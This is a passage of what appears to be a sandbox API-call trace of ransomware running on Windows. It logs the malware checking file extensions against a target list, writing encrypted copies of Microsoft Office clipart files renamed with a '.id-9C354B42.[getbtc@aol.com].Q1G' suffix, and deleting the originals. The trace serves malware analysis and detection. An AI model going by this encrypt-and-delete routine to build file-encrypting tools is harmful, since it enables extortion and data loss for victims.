lpNewFilePointer=0x0) returned 1 [0251.583] SetEndOfFile (hFile=0x3b0) returned 1 [0251.585] CloseHandle (hObject=0x3b0) returned 1 [0251.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1 [0251.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.586] lstrlenW (lpString=".doc") returned 4 [0251.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.586] lstrlenW (lpString=".docx") returned 5 [0251.586] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0251.586] lstrlenW (lpString=".pdf") returned 4 [0251.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.586] lstrlenW (lpString=".xls") returned 4 [0251.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.586] lstrlenW (lpString=".xlsx") returned 5 [0251.586] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0251.586] lstrlenW (lpString=".ppt") returned 4 [0251.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.586] lstrlenW (lpString=".zip") returned 4 [0251.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.586] lstrlenW (lpString=".rar") returned 4 [0251.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.586] lstrlenW (lpString=".bz2") returned 4 [0251.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.586] lstrlenW (lpString=".7z") returned 3 [0251.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.587] lstrlenW (lpString=".dbf") returned 4 [0251.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.587] lstrlenW (lpString=".1cd") returned 4 [0251.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.587] lstrlenW (lpString=".jpg") returned 4 [0251.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.587] lstrlenW (lpString=".doc") returned 4 [0251.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString=".docx") returned 5 [0251.587] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0251.587] lstrlenW (lpString=".pdf") returned 4 [0251.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString=".xls") returned 4 [0251.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.587] lstrlenW (lpString=".xlsx") returned 5 [0251.587] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0251.587] lstrlenW (lpString=".ppt") returned 4 [0251.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.587] lstrlenW (lpString=".zip") returned 4 [0251.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.587] lstrlenW (lpString=".rar") returned 4 [0251.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString=".bz2") returned 4 [0251.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString=".7z") returned 3 [0251.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.587] lstrlenW (lpString=".dbf") returned 4 [0251.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.588] lstrlenW (lpString=".1cd") returned 4 [0251.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0251.588] lstrlenW (lpString=".jpg") returned 4 [0251.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.588] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.588] lstrlenW (lpString="HH00084_.WMF") returned 12 [0251.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.617] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2472) returned 1 [0251.617] CloseHandle (hObject=0x3a0) returned 1 [0251.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0251.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.618] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.618] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.618] GetLastError () returned 0x0 [0251.618] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x9a8, lpOverlapped=0x0) returned 1 [0251.620] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0251.621] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.621] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.621] SetEndOfFile (hFile=0x3a8) returned 1 [0251.621] CloseHandle (hObject=0x3a8) returned 1 [0251.621] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.621] SetEndOfFile (hFile=0x3a0) returned 1 [0251.623] CloseHandle (hObject=0x3a0) returned 1 [0251.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0251.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.624] lstrlenW (lpString=".doc") returned 4 [0251.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.624] lstrlenW (lpString=".docx") returned 5 [0251.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.624] lstrlenW (lpString=".pdf") returned 4 [0251.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.624] lstrlenW (lpString=".xls") returned 4 [0251.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.624] lstrlenW (lpString=".xlsx") returned 5 [0251.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.624] lstrlenW (lpString=".ppt") returned 4 [0251.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.624] lstrlenW (lpString=".zip") returned 4 [0251.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.624] lstrlenW (lpString=".rar") returned 4 [0251.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.624] lstrlenW (lpString=".bz2") returned 4 [0251.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.624] lstrlenW (lpString=".7z") returned 3 [0251.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.624] lstrlenW (lpString=".dbf") returned 4 [0251.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.624] lstrlenW (lpString=".1cd") returned 4 [0251.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.624] lstrlenW (lpString=".jpg") returned 4 [0251.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.625] lstrlenW (lpString=".doc") returned 4 [0251.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString=".docx") returned 5 [0251.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.625] lstrlenW (lpString=".pdf") returned 4 [0251.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString=".xls") returned 4 [0251.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.625] lstrlenW (lpString=".xlsx") returned 5 [0251.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.625] lstrlenW (lpString=".ppt") returned 4 [0251.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.625] lstrlenW (lpString=".zip") returned 4 [0251.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.625] lstrlenW (lpString=".rar") returned 4 [0251.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString=".bz2") returned 4 [0251.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString=".7z") returned 3 [0251.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.625] lstrlenW (lpString=".dbf") returned 4 [0251.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.625] lstrlenW (lpString=".1cd") returned 4 [0251.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0251.625] lstrlenW (lpString=".jpg") returned 4 [0251.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.626] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.626] lstrlenW (lpString="HH00231_.WMF") returned 12 [0251.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.627] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2232) returned 1 [0251.627] CloseHandle (hObject=0x3a0) returned 1 [0251.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0251.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.627] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.627] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.628] GetLastError () returned 0x0 [0251.628] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0251.629] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0251.630] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.630] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.630] SetEndOfFile (hFile=0x3a8) returned 1 [0251.631] CloseHandle (hObject=0x3a8) returned 1 [0251.631] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.631] SetEndOfFile (hFile=0x3a0) returned 1 [0251.632] CloseHandle (hObject=0x3a0) returned 1 [0251.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0251.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.633] lstrlenW (lpString=".doc") returned 4 [0251.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString=".docx") returned 5 [0251.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.634] lstrlenW (lpString=".pdf") returned 4 [0251.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString=".xls") returned 4 [0251.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.634] lstrlenW (lpString=".xlsx") returned 5 [0251.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.634] lstrlenW (lpString=".ppt") returned 4 [0251.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.634] lstrlenW (lpString=".zip") returned 4 [0251.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.634] lstrlenW (lpString=".rar") returned 4 [0251.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString=".bz2") returned 4 [0251.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString=".7z") returned 3 [0251.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.634] lstrlenW (lpString=".dbf") returned 4 [0251.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.634] lstrlenW (lpString=".1cd") returned 4 [0251.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.634] lstrlenW (lpString=".jpg") returned 4 [0251.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.634] lstrlenW (lpString=".doc") returned 4 [0251.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.634] lstrlenW (lpString=".docx") returned 5 [0251.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.634] lstrlenW (lpString=".pdf") returned 4 [0251.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.635] lstrlenW (lpString=".xls") returned 4 [0251.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.635] lstrlenW (lpString=".xlsx") returned 5 [0251.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.635] lstrlenW (lpString=".ppt") returned 4 [0251.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.635] lstrlenW (lpString=".zip") returned 4 [0251.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.635] lstrlenW (lpString=".rar") returned 4 [0251.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.635] lstrlenW (lpString=".bz2") returned 4 [0251.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.635] lstrlenW (lpString=".7z") returned 3 [0251.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.635] lstrlenW (lpString=".dbf") returned 4 [0251.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.635] lstrlenW (lpString=".1cd") returned 4 [0251.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0251.635] lstrlenW (lpString=".jpg") returned 4 [0251.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.635] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.635] lstrlenW (lpString="HH00235_.WMF") returned 12 [0251.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.636] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1026) returned 1 [0251.636] CloseHandle (hObject=0x3a0) returned 1 [0251.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0251.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.636] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.636] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.637] GetLastError () returned 0x0 [0251.637] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x402, lpOverlapped=0x0) returned 1 [0251.762] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x410, lpOverlapped=0x0) returned 1 [0251.763] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.763] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.763] SetEndOfFile (hFile=0x3a8) returned 1 [0251.763] CloseHandle (hObject=0x3a8) returned 1 [0251.763] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.763] SetEndOfFile (hFile=0x3a0) returned 1 [0251.765] CloseHandle (hObject=0x3a0) returned 1 [0251.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0251.814] lstrlenW (lpString="C:\\Program Files\\Microsoft 